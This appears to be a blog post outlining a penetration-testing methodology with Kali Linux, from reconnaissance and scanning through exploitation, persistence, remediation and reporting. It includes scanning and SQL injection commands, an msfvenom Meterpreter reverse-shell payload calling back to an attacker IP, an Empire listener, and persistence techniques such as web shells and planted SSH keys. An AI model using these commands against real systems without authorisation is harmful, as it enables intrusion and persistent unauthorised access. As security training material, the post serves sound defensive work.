Fundamental Penetration Testing Methodology with Kali Linux

Penetration Testing Workflow Overview

Phase 1: Reconnaissance and Information Gathering

Network Infrastructure Analysis

Gathering intelligence about the target infrastructure forms the foundation of any security assessment. Key activities include:

  • Deploying Nmap to discover live hosts, open ports, and running services across the target network segment
  • Querying WHOIS databases to retrieve domain registration details and authoritative nameservers
  • Utilizing DNS enumeration tools like dig and nslookup to resolve hostnames and uncover subdomains
  • Mapping network routes using traceroute to understand topology and identify potential choke points
  • Assessing host availability and latency characteristics through ICMP echo requests
  • Leveraging OSINT platforms such as Shodan and Censys to discover exposed devices and services
  • Gathering organizational intelligence through social engineering techniques and public records

Domain Intelligence Collection

WHOIS lookups reveal critical ownership data including registrant details, registration timelines, and contact information. DNS reconnaissance using dig provides deeper insights:

dig example.com ANY +noall +answer
dig axfr @ns1.example.com example.com

Subdomain enumeration tools expand the attack surface:

sublist3r -d example.com -o subdomains.txt
amass enum -passive -d example.com

Port Scanning Operations

Comprehensive port discovery identifies potential entry vectors. A full TCP SYN scan examines all 65,535 ports:

nmap -sS -Pn -p- --min-rate 1000 192.168.1.100 -oN scan_results.txt

Sample output interpretation:

Nmap scan report for 192.168.1.100
Host is up (0.00012s latency).
PORT     STATE  SERVICE
22/tcp   open   ssh
80/tcp   open   http
443/tcp  open   https
3306/tcp open   mysql
8443/tcp open   https-alt

The -sS flag initiates a TCP SYN (half-open) scan for speed and stealth, while -p- covers the entire port range.

Operating System Fingerprinting

Determining the target OS guides exploitation strategy. Nmap's OS detection module analyzes TCP/IP stack behavior:

nmap -O --osscan-guess 192.168.1.100

Service Enumeration

Service version detection enables targeted vulnerability research:

nmap -sV --version-intensity 5 192.168.1.100

Web application fingerprinting with WhatWeb:

whatweb -v https://target-site.com

Web Application Discovery

Reconnaissance ToolPrimary Function
WappalyzerTechnology stack identification (CMS, frameworks, libraries)
Burp Suite SpiderAutomated content discovery and site mapping
ffuf/gobusterDirectory and file brute-forcing
WhatWebWeb technology fingerprinting
theHarvesterEmail and subdomain harvesting from public sources

Phase 2: Vulnerability Assessment

Scanning Tool Selection

Network vulnerability scanners automate the discovery process:

# Nmap with NSE vulnerability scripts
nmap --script vuln -sV 192.168.1.100

# OpenVAS command-line interface
omp -u admin -w password -T 192.168.1.100

# SQLMap for database security testing
sqlmap -u "https://target.com/page?id=1" --batch --dbs

Web application scanners complement network tools:

# Nikto web server scanner
nikto -h https://target-site.com -output scan.html

# OWASP ZAP baseline scan
zap-baseline.py -t https://target-site.com

Target Scope Definition

Asset TypeRecommended Scanner
Web ApplicationsBurp Suite Professional, OWASP ZAP, Acunetix
Network InfrastructureNmap, Nessus, OpenVAS
Database ServersSQLMap, SQLNinja
Wireless NetworksAircrack-ng, Kismet, Wifite

Vulnerability Classification

FindingSeverityBusiness ImpactRemediation Strategy
SQL InjectionCriticalData exfiltration, authentication bypassImplement parameterized queries, input validation
Cross-Site ScriptingHighSession hijacking, credential theftOutput encoding, Content Security Policy
Missing AuthenticationMediumUnauthorized access to functionsEnforce access controls, session management
Information DisclosureLowLeakage of sensitive metadataDisable verbose error messages, secure headers

Vulnerability Validation

Manual verification confirms scanner findings and eliminates false positives:

Vulnerability CategoryValidation Approach
SQL InjectionInject SQL payloads and observe database error responses or time-based delays
XSSSubmit JavaScript payloads and verify execution in browser context
File UploadUpload test files with various extensions and content types to bypass filters
Path TraversalAttempt to access files outside web root using encoded sequences

Phase 3: Exploitation

Attack Tool Arsenal

ToolPrimary Use Case
Metasploit FrameworkExploit development and payload delivery
Burp SuiteWeb application manipulation and testing
HydraCredential brute-forcing across protocols
John the RipperPassword hash cracking
NetcatNetwork communication and reverse shells
WiresharkTraffic analysis and inspection

Attack Vector Selection

MethodologyDescription
ExploitationLeveraging software vulnerabilities using frameworks like Metasploit
Credential AttacksPassword spraying, brute force, or hash cracking
Social EngineeringPhishing campaigns and pretexting to obtain credentials
Physical AccessDirect hardware interaction or environmental compromise

Persistence Mechanisms

Establishing persistent access post-exploitation:

# Generate Meterpreter payload with msfvenom
msfvenom -p linux/x64/meterpreter/reverse_tcp \
    LHOST=10.10.14.5 \
    LPORT=4445 \
    -f elf -o payload.elf

# Empire framework listener setup
listeners
uselistener http
set Host 10.10.14.5
set Port 8080
execute
Persistence TypeImplementation Method
Web ShellUpload malicious script via file inclusion or RCE
Scheduled TaskCreate cron job or Windows scheduled task
Service InstallationRegister malicious service for auto-start
SSH Key PersistenceAdd public key to authorized_keys

Phase 4: Remediation and Hardening

Vulnerability Remediation Guidelines

  • Create system backups before applying patches or configuration changes
  • Prioritize remediation by severity: critical vulnerabilities first, followed by high, medium, and low
  • Test patches in staging environments before production deployment
  • Verify fixes through regression testing and re-scanning
  • Implement continuous monitoring and log analysis

Remediation Tracking

IDFindingStatusOwnerResolution Date
VULN-001Authenticated SQL InjectionResolvedSecurity Team2024-01-15
VULN-002Reflected XSS in SearchIn ProgressDevelopment-
VULN-003Outdated TLS ConfigurationResolvedOperations2024-01-18

Phase 5: Documentation and Reporting

Report Structure

SectionContents
Executive SummaryHigh-level overview of findings and business risk
Scope and MethodologyTest boundaries, tools used, and approach
Technical FindingsDetailed vulnerability descriptions with evidence
Risk AssessmentImpact and likelihood analysis with CVSS scores
RecommendationsPrioritized remediation guidance
AppendicesScreenshots, logs, and exploit code

Reporting Standards

  • Include clear reproduction steps for each finding
  • Provide proof-of-concept code or screenshots
  • Assign CVSS scores where applicable
  • Reference CVE identifiers for known vulnerabilities
  • Offer actionable, specific remediation steps
  • Include an impact statement for executive stakeholders

Tags: Penetration Testing Kali Linux Security Assessment Vulnerability Scanning Ethical Hacking

Posted on Sat, 09 May 2026 05:20:57 +0000 by The_PHP_Newb